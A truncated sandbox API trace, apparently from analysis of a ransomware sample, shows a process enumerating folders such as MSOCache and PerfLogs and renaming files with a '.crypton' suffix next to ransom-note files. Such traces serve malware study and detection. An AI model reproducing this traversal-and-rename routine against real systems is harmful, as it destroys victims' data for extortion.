[0070.508] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0070.508] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0070.508] AreFileApisANSI () returned 1 [0070.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.512] AreFileApisANSI () returned 1 [0070.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.512] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypton" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.crypton"), dwFlags=0x2) returned 1 [0070.513] AreFileApisANSI () returned 1 [0070.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.513] AreFileApisANSI () returned 1 [0070.513] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0070.513] GetLastError () returned 0x2 [0070.513] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0070.513] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0070.513] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0070.513] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0070.513] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0070.513] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0070.513] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0070.513] AreFileApisANSI () returned 1 [0070.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.525] AreFileApisANSI () returned 1 [0070.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.525] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0070.526] AreFileApisANSI () returned 1 [0070.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.526] AreFileApisANSI () returned 1 [0070.526] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0070.526] GetLastError () returned 0x2 [0070.526] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0070.526] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0070.526] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0070.526] AreFileApisANSI () returned 1 [0070.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0070.533] AreFileApisANSI () returned 1 [0070.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0070.533] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.crypton" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.crypton"), dwFlags=0x2) returned 1 [0070.534] AreFileApisANSI () returned 1 [0070.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0070.534] AreFileApisANSI () returned 1 [0070.534] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpFilePart=0x0) returned 0x4b [0070.534] GetLastError () returned 0x2 [0070.534] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0070.534] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0070.534] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0070.534] FindClose (in: hFindFile=0x549790 | out: hFindFile=0x549790) returned 1 [0070.534] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0070.534] FindClose (in: hFindFile=0x549710 | out: hFindFile=0x549710) returned 1 [0070.534] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0070.534] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0070.534] AreFileApisANSI () returned 1 [0070.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0070.535] GetFileType (hFile=0x19c) returned 0x1 [0070.536] AreFileApisANSI () returned 1 [0070.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0070.537] AreFileApisANSI () returned 1 [0070.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0070.543] FindFirstFileA (in: lpFileName="C:\\\\PerfLogs\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549710 [0070.543] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0070.543] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa765d3e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa765d3e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa765d3e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.543] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7683540, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.543] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa765d3e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa765d3e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa765d3e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.543] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="Admin", cAlternateFileName="")) returned 1 [0070.543] AreFileApisANSI () returned 1 [0070.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0070.544] GetFileType (hFile=0x1f4) returned 0x1 [0070.545] AreFileApisANSI () returned 1 [0070.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 49 [0070.546] AreFileApisANSI () returned 1 [0070.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0070.548] FindFirstFileA (in: lpFileName="C:\\\\PerfLogs\\Admin\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549790 [0070.548] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0070.548] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7683540, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.548] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7683540, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.549] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7683540, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.549] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7683540, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 0 [0070.549] FindClose (in: hFindFile=0x549790 | out: hFindFile=0x549790) returned 1 [0070.549] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="Admin", cAlternateFileName="")) returned 0 [0070.549] FindClose (in: hFindFile=0x549710 | out: hFindFile=0x549710) returned 1 [0070.549] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x86f29b70, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0x86f29b70, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0070.549] AreFileApisANSI () returned 1 [0070.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0070.549] GetFileType (hFile=0x19c) returned 0x1 [0070.550] AreFileApisANSI () returned 1 [0070.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0070.550] GetFileType (hFile=0x19c) returned 0x1 [0070.551] AreFileApisANSI () returned 1 [0070.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0070.555] GetFileType (hFile=0x19c) returned 0x1 [0070.556] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549710 [0070.556] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0070.556] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: 